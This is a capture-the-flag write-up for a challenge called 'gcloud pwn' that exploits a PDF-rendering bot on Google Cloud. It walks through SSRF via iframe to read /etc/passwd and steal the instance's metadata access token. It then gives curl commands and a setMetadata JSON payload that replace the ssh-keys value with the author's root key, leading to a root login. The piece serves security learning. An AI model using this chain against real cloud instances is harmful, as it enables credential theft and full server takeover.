gcloud pwn
Flag
|
Solves
|
CHTB{l00k_4t_m3_n0w_I_0wn_4ll_th3_cl0ut!}
|
23
|
This was challenge was one of my personal favourites from this CTF event. The challenge was exploiting a PDF viewer that was hosted on Google Cloud Platform (will be abbreviated as gcloud from now on). The first thing that I thought of when I saw this and read the description that the pdf viewer that the bot visiting the page used is vulnerable to Server-Side Request Forgery (SSRF). I tested if it was and by seeing if I could read
/etc/passwd
using an iframe, which I was able to do.
What this meant is that now I can access the internal gcloud metadata API with the domain
metadata.google.internal
to see if I can steal an access token. I found this
Hackerone report on exploiting a SSRF vulnerability in shopify
very useful. The two key takeaways from this report and the
internal API documentation
about how to use the gcloud API to collect information that I found were:
-
When using the
metadata.google.internal
the
v1beta1
API needs to be used since it does not require a specific HTTP header like the
v1
API does.
-
Using the GET parameter
alt=json
returns the API response as a JSON document.
-
Using the GET parameter
recursive=true
allows you to recurse through the different attributes or properties that an instance or project has.
-
The endpoint
http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token
returns the current access token
for the instance
.
-
You can list all of the attributes for a instance by sending a GET request to the endpoint
http://metadata.google.internal/computeMetadata/v1beta1/instance/?recursive=true&alt=json
.
Using this I quickly grabbed a valid access token for the instance, project name, location and instance name for the web server.
-
Project Name:
essential-hawk-310212
-
Location Zone:
us-central1-a
-
Instance Name:
instance-1
With this exfiltrated access token, it can be used to authorize access to other Google APIs using the
Authorization: Bearer <access token>
HTTP header. However, at this point I went into a massive rabbit hole for about an hour and a half. My mistake was that I started trying to see if I had access to other gcloud services using the access token I had, but I could not get in anywhere. My mistake was that I forgot that the access token was specifically for the instance itself. I realised my mistake when I listed the metadata for the instance again using the following curl command. I discovered this API endpoint when I was reading about managing
SSH keys on gcloud using the REST API
.
curl -H "Authorization: Bearer <access token>" -H "Content-type: application/json" https://compute.googleapis.com/compute/v1/projects/essential-hawk-310212/zones/us-central1-a/instances/instance-1
It was at this point I realised I goofed up and I should of just been targetting the instance the whole time and not other services...
I decided to test if I could overwrite this entry in the metadata and insert my public SSH key instead.
Reading the documentation on managing the public SSH keys
, I had to send a POST request to the API endpoint
https://compute.googleapis.com/compute/v1/projects/essential-hawk-310212/zones/us-central1-a/instances/instance-1/setMetadata
with the following JSON body.
payload.json
{
"items": [
{
"key": "ssh-keys",
"value": "root:ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDPHugK49fy5Dzg9O+NTD34kpQ+3+CjaEj5P1MbhiAANZnkts5dt7Mmq0xf+UInKs7HyVhD3FfpwrRszvnqD39mGc4Eou66JVc1Tj9Hmhs0/hR8RDa0EmWvu0pG2ftehu/fiWutm1mGhKlsCW30wuCJkF7/4otSopkBCG2HD4ZaSToplZ4QhFVS+lIa9zItfYAK6zEXuD6R/Eont6VxK6mDiwijzydXFkWzpQcCe8GazEn4QBr0lh0KKosY26ELj6v/0aW1ZxlPD5Dg57RwBl3/Ae9V2D0rjZRKj8If8B9QQvovyt3M9jjnGv+KZGFVVowxmvZ5JN7B65UEQKHZMSKQB6bE2HCiW62wQm3th9KTXZR5hlzTj9prEx3l0IjsOwyVe5Di1NPFwbKcY8fauCjsK4Tb7QkjV46LGdQ2a+JdfjxKCFfpi1ZSNC9aHLBZtpeq/5Any+Wbw14GaiGrjSSXFhKFZMmzGlkJh1hQ8UXWWGOdsU4O+GJRFaS8UT61Cr0= makelarissub@hackthebox.eu"
}
],
"fingerprint" : "3OBr4seS2Vk="
}
The value for
ssh-keys
has to be in the format of
<username>:<public ssh key>
and the
fingerprint
parameter is obtained from a GET request to
https://compute.googleapis.com/compute/v1/projects/essential-hawk-310212/zones/us-central1-a/instances/instance-1
that is used to prevent simultaneous changes to metadata that is shown below.
"metadata": {
"fingerprint": "3OBr4seS2Vk=",
"items": [
{
"key": "sshKeys",
"value": "root:ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQD0fVPxASQe90gLUXWjnCjJsLOsUMw/mPTOCdJzM0IeM/EBFOYPeuF2bR2f/8FKkhX5WOGnvoWReCLKHV5xz7kwq63E9JU5I3vfObsEd5R3glyf7wEPOB0+/gaebldTERAlMDcTOlRwbYD+JILUrlqWGIskt/pcPP3TWeu2STErxcdQaJQc+5cZlOzLLPeKNQUel3otqIV4Bwr914uAuy3fe3gpLH2irEyPByQdpanyhiZZXIAdlPcR5E9AEosRHPmSBA9pn+O3/V7pfBND1V04q4AGrXMuLaDw019A7Xc1fSE2j3zWB5/FgEtYoKnI81BHPOQCqtAZ941kzdF4Zs3X/DrVraYEHD13yRtCmogrj0Iot1R4ABkUXEPLyNkqgYQV55vag9caUUwJUxU2AhldHK1NVErVndCTwu6VNBLgaJJy8iiln4EIBB3Ynb5qTsC/xKYLCjF1+2NxDeGMrrF7c5lwIUJzZIF2P+Rn2V2NDpEHOsJXsSpsGPBgxHbGDj0= jusepe@nix\nunknown1:ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDRnJrXGPgJi3sAmmtOIL1yiorFOQ4U9CIsI0OWds7izDtsPWXvinIQOpqxxWRXwdKc0Ye3vCN1L9imjmQ0ILN0UEQsCmZfxrlYBFsS8VpJbIwkewFSRTMirZ4IFN84twVWRHJiFZ0RGzIDlW8q/XA16iUygiS+ehGl/SyA9DwZwWZfLDRLkvj8O+widR6qlTu9juANWxO8klwsk06qilQ/k2y1dCzAI0LNGybmLHonaqJY35E80xSzZHPFDQIDSM1gYtGkcuiVGCE3VufdVhZHqGSI1L4MlPmjEnRlRGhINsoWl6eI0Ltw+QUdTh+zrQJvPhFg3NDbTILmRdL/m2LpxxQ9vG7pZmB41uRmkm+4UZgLPZiQGSWVaosbYADWXB6DXTBpMW5jatwtUtI3oiM6SdfC4DIdU/tlQ/L30MMhuds/V7om/izbxYGh2oKFgnVYGr5d5c3cMHTNfr8kjdn+TDQnEyRlBxUIOMd5pff4pzfyP4Pxorz03ZoEUruI4J8= unknown1@Macbook-makelaris.local"
}
],
"kind": "compute#metadata"
}
Finally, to inject my public SSH key I used the following
curl
command to update the metadata for SSH keys.
curl -H "Authorization: Bearer <access token>" -H "Content-type: application/json" -d @payload.json https://compute.googleapis.com/compute/v1/projects/essential-hawk-310212/zones/us-central1-a/instances/instance-1/setMetadata
Once that was done, I could SSH into the server with the account
root
using my own private key and grab the flag from
/root/pdfservice/flag
.